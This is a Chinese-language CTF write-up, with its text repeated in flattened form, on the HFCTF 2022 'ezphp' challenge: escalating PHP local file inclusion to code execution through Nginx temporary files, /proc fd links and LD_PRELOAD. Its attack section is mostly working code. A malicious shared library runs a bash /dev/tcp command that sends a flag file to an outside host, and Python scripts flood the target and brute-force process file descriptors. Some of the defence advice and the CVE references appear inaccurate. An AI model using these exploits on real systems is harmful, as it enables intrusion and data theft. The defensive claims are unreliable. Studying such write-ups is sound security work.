从一道题看LFI与RCE
字数 1394 2025-08-29 08:32:00

Nginx临时文件利用:从LFI到RCE的深入分析

1. 漏洞背景与原理

本技术文档基于HFCTF 2022的ezphp题目,探讨如何利用Nginx处理大请求体时产生的临时文件实现从本地文件包含(LFI)到远程代码执行(RCE)的转换。

1.1 核心漏洞点

  • Nginx临时文件机制:当Nginx接收的FastCGI响应过大或请求体过大时,会将内容缓存到临时文件
  • 文件描述符保留:Nginx创建临时文件后会立即删除(unlink),但仍保留文件描述符(fd)
  • PHP包含特性:PHP在处理包含路径时会对/proc/[pid]/fd/[fd]这样的软链接进行解析

1.2 相关配置参数

  • client_body_buffer_size:控制Nginx读取客户端请求体的缓冲区大小
    • 默认值:8K (x86/32位平台) 或 16K (64位平台)
    • 当请求体超过此大小时,Nginx会将内容写入临时文件

2. 技术细节分析

2.1 Nginx临时文件处理机制

Nginx通过ngx_open_tempfile函数创建临时文件:

ngx_fd_t ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access) {
    ngx_fd_t fd;
    fd = open((const char *)name, O_CREAT|O_EXCL|O_RDWR, access ? access : 0600);
    if (fd != -1 && !persistent) {
        (void)unlink((const char *)name);
    }
    return fd;
}

关键行为:

  1. 使用O_EXCL标志创建文件确保唯一性
  2. 立即调用unlink删除文件(除非指定persistent)
  3. 返回文件描述符供后续使用

2.2 临时文件特征

  • 存储路径:/var/lib/nginx/body/000000xxxx
  • 文件名格式:10位数字,左侧补零
  • 文件权限:0600(仅所有者可读写)

2.3 /proc文件系统特性

在Linux系统中,即使文件被删除,只要进程保持文件描述符打开:

  • /proc/[pid]/fd/[fd]仍可访问文件内容
  • 显示为/path/to/file (deleted)的软链接

3. 利用方法

3.1 整体利用流程

  1. 触发临时文件创建:发送超大请求体,迫使Nginx创建临时文件
  2. 保持文件描述符:Nginx删除文件但保留fd
  3. LD_PRELOAD注入:通过PHP的putenv设置LD_PRELOAD环境变量
  4. 包含/proc文件:利用PHP包含/proc/[nginx-pid]/fd/[fd]执行恶意代码

3.2 具体步骤

步骤1:准备恶意.so文件

编写恶意共享库,利用__attribute__((constructor))实现自动执行:

#include <stdlib.h>
#include <string.h>

__attribute__((constructor)) void call() {
    unsetenv("LD_PRELOAD");
    char str[65536];
    system("bash -c 'cat /flag' > /dev/tcp/ip/port");
    system("cat /flag > /var/www/html/flag");
}

编译:

gcc test.c -fPIC -shared -o libsss.so

步骤2:触发临时文件创建

使用Python脚本持续发送大请求:

import requests

URL = 'http://target'
with open('libsss.so', 'rb') as f:
    payload = f.read() + (16 * 1024 * 'A').encode()

while True:
    requests.get(URL, data=payload)

步骤3:爆破/proc文件

import requests
import threading

SERVER = "http://target"
nginx_pids = range(10, 20)  # 常见的Nginx worker进程PID范围

def read_file(pid, fd):
    path = f"/proc/{pid}/fd/{fd}"
    try:
        r = requests.get(SERVER, params={'env': f'LD_PRELOAD={path}'})
        if 'HFCTF' in r.text:
            print("[+] Found flag:", r.text)
    except:
        pass

for pid in nginx_pids:
    for fd in range(4, 32):  # 常见的文件描述符范围
        threading.Thread(target=read_file, args=(pid, fd)).start()

3.3 优化技术

  1. 多进程/多线程:并行发送请求和爆破提高成功率
  2. 路径随机化:增加随机路径组件绕过可能的限制
  3. PID预测:通过观察Nginx worker进程的常见PID范围缩小爆破范围

4. 防御措施

  1. 限制请求体大小
    client_max_body_size 1M;
    
  2. 禁用危险函数
    disable_functions = putenv, system, exec, etc.
    
  3. 限制环境变量操作
    safe_mode = On
    
  4. 隔离/proc访问
    location ~ ^/proc/ {
        deny all;
    }
    

5. 相关CVE

  • CVE-2019-11043:与Nginx+PHP-FPM相关的漏洞
  • CVE-2019-9638:PHP的include_once竞争条件漏洞

6. 总结

这种利用方式展示了如何将:

  1. Nginx的临时文件处理机制
  2. Linux的/proc文件系统特性
  3. PHP的环境变量和包含功能

结合起来实现从简单的LFI到完全的RCE。关键在于理解各组件之间的交互和竞争条件,以及如何利用系统特性维持对"已删除"文件的访问。

Nginx临时文件利用:从LFI到RCE的深入分析 1. 漏洞背景与原理 本技术文档基于HFCTF 2022的ezphp题目,探讨如何利用Nginx处理大请求体时产生的临时文件实现从本地文件包含(LFI)到远程代码执行(RCE)的转换。 1.1 核心漏洞点 Nginx临时文件机制 :当Nginx接收的FastCGI响应过大或请求体过大时,会将内容缓存到临时文件 文件描述符保留 :Nginx创建临时文件后会立即删除(unlink),但仍保留文件描述符(fd) PHP包含特性 :PHP在处理包含路径时会对/proc/[ pid]/fd/[ fd ]这样的软链接进行解析 1.2 相关配置参数 client_body_buffer_size :控制Nginx读取客户端请求体的缓冲区大小 默认值:8K (x86/32位平台) 或 16K (64位平台) 当请求体超过此大小时,Nginx会将内容写入临时文件 2. 技术细节分析 2.1 Nginx临时文件处理机制 Nginx通过 ngx_open_tempfile 函数创建临时文件: 关键行为: 使用 O_EXCL 标志创建文件确保唯一性 立即调用 unlink 删除文件(除非指定persistent) 返回文件描述符供后续使用 2.2 临时文件特征 存储路径: /var/lib/nginx/body/000000xxxx 文件名格式:10位数字,左侧补零 文件权限:0600(仅所有者可读写) 2.3 /proc文件系统特性 在Linux系统中,即使文件被删除,只要进程保持文件描述符打开: /proc/[pid]/fd/[fd] 仍可访问文件内容 显示为 /path/to/file (deleted) 的软链接 3. 利用方法 3.1 整体利用流程 触发临时文件创建 :发送超大请求体,迫使Nginx创建临时文件 保持文件描述符 :Nginx删除文件但保留fd LD_ PRELOAD注入 :通过PHP的 putenv 设置 LD_PRELOAD 环境变量 包含/proc文件 :利用PHP包含 /proc/[nginx-pid]/fd/[fd] 执行恶意代码 3.2 具体步骤 步骤1:准备恶意.so文件 编写恶意共享库,利用 __attribute__((constructor)) 实现自动执行: 编译: 步骤2:触发临时文件创建 使用Python脚本持续发送大请求: 步骤3:爆破/proc文件 3.3 优化技术 多进程/多线程 :并行发送请求和爆破提高成功率 路径随机化 :增加随机路径组件绕过可能的限制 PID预测 :通过观察Nginx worker进程的常见PID范围缩小爆破范围 4. 防御措施 限制请求体大小 : 禁用危险函数 : 限制环境变量操作 : 隔离/proc访问 : 5. 相关CVE CVE-2019-11043:与Nginx+PHP-FPM相关的漏洞 CVE-2019-9638:PHP的include_ once竞争条件漏洞 6. 总结 这种利用方式展示了如何将: Nginx的临时文件处理机制 Linux的/proc文件系统特性 PHP的环境变量和包含功能 结合起来实现从简单的LFI到完全的RCE。关键在于理解各组件之间的交互和竞争条件,以及如何利用系统特性维持对"已删除"文件的访问。